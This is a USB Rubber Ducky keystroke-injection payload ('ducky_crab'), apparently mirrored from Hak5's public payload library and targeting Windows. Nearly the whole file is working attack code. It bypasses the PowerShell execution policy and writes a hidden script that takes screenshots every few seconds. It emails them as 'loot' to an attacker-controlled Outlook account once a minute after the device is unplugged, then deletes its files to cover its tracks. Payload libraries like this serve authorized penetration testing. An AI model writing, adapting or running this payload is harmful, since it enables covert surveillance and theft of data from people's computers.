Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/exfiltration/Ducky_Crab/payload.txt
2968 views
1
REM Title: ducky_crab
2
REM Author: the-jcksn
3
REM Description: Gives "screen crab" like capabilities to the USB rubber ducky. Creates a powershell script that captures screenshots and exfiltrates them via outlook, once a minute, even after the USB rubber ducky has been removed.
4
REM Target: Windows
5
REM Version: 1.0
6
REM Category: Exfiltration
7
8
REM ~~~~ You must change [email protected] and USERPASSWORD to your outlook credentials (line 45)
9
REM ~~~~ Change the time for the payload to run after ducky is removed (default 10 minutes - line 38)
10
REM ~~~~ DO NOT REMOVE THE RUBBER DUCKY UNTIL THE PROMPT APPEARS ON SCREEN SAYING TO DO SO, after this, the payload will run without the ducky inserted
11
REM ~~~~ You might have to adjust the delays, depending on the target machine, but these worked ok for me.
12
REM ~~~~ Use responsibly, and within the confines of the law.
13
14
15
REM opening powershell and allowing scripts
16
DELAY 1000
17
REM this needs to run first seperate from the script (allows scripts to run on target)
18
GUI r
19
DELAY 200
20
STRING powershell
21
ENTER
22
DELAY 200
23
STRING Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser
24
ENTER
25
DELAY 200
26
REM the following line may cause an error on some systems, this can be ignored, on some systems it is REQUIRED, please do not alter this
27
STRING y
28
ENTER
29
DELAY 400
30
REM create the powershell script
31
STRING New-Item -Path 'Pictures' -Name 'screens.ps1' -ItemType file
32
ENTER
33
DELAY 200
34
STRING "cd C:\Users\$env:username\ `nNew-Item -Path 'C:\Users\$env:username\Pictures\Screens\' -ItemType Directory" | Out-File Pictures\screens.ps1 -Append
35
ENTER
36
DELAY 200
37
REM number of minutes to capture screenshots for - default is 10 (edit the integer to change)
38
STRING "`$timer = new-timespan -Minutes 10" | Out-File Pictures\screens.ps1 -Append
39
ENTER
40
DELAY 200
41
STRING "`$clock = [diagnostics.stopwatch]::StartNew() `nwhile (`$clock.elapsed -lt `$timer){ `n[void][reflection.assembly]::loadwithpartialname('system.windows.forms') `n`$Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen `n`$Width = `$Screen.Width `n`$Height = `$Screen.Height `n`$Left = `$Screen.Left `n`$Top = `$Screen.top `n`$bitmap = New-Object System.Drawing.Bitmap `$Width, `$Height `n`$graphic = [System.Drawing.Graphics]::FromImage(`$bitmap) `n`$graphic.CopyFromScreen(`$Left, `$Top, 0, 0, `$bitmap.Size) `n`$enddate = (Get-Date).tostring('ddMMyy-hh_mm_ss') `n`$filename = `$enddate + '.gif' `n`$bitmap.Save('C:\Users\$env:Username\Pictures\Screens\' + `$filename) `nstart-sleep -seconds 10" | Out-File Pictures\screens.ps1 -Append
42
ENTER
43
DELAY 200
44
REM change [email protected] (3 times) and USERPASSWORD (once) to your credentials below. DO NOT REMOVE ANY QUOTES OR BACKTICKS
45
STRING "Send-MailMessage -From [email protected] -To [email protected] -Subject `"Screenshot loot`" -Body `"Please find attached your screenshot update`" -Attachment `"Pictures\Screens\`$filename`" -SmtpServer smtp-mail.outlook.com -Port 587 -UseSsl -Credential (New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList [email protected], (ConvertTo-SecureString -String `"USERPASSWORD`" -AsPlainText -Force))" | Out-File Pictures\screens.ps1 -Append
46
ENTER
47
DELAY 200
48
STRING "start-sleep -seconds 60 `n} `nSet-ExecutionPolicy -ExecutionPolicy Undefined -Scope CurrentUser `nGet-ChildItem Pictures\Screens -Include *.* -Recurse | ForEach {`$_.Delete()} `nRemove-Item Pictures\screens -Confirm:`$false `nRemove-Item Pictures\screens.ps1 -Force `nexit" | Out-File Pictures\screens.ps1 -Append
49
ENTER
50
DELAY 200
51
STRING exit
52
ENTER
53
DELAY 300
54
REM run the script we created
55
GUI r
56
DELAY 300
57
STRING powershell -w hidden -File "%USERPROFILE%\Pictures\screens.ps1"
58
ENTER
59
DELAY 1000
60
GUI r
61
DELAY 200
62
STRING notepad
63
ENTER
64
DELAY 300
65
STRING You may now remove the rubber ducky and close this window. Loot will arrive shortly.
66
ENTER
67
ENTER
68
DELAY 500
69
STRING Closing this window automatically in:
70
ENTER
71
STRING 3...
72
ENTER
73
DELAY 600
74
STRING 2...
75
DELAY 600
76
ALT F4
77
STRING n
78
79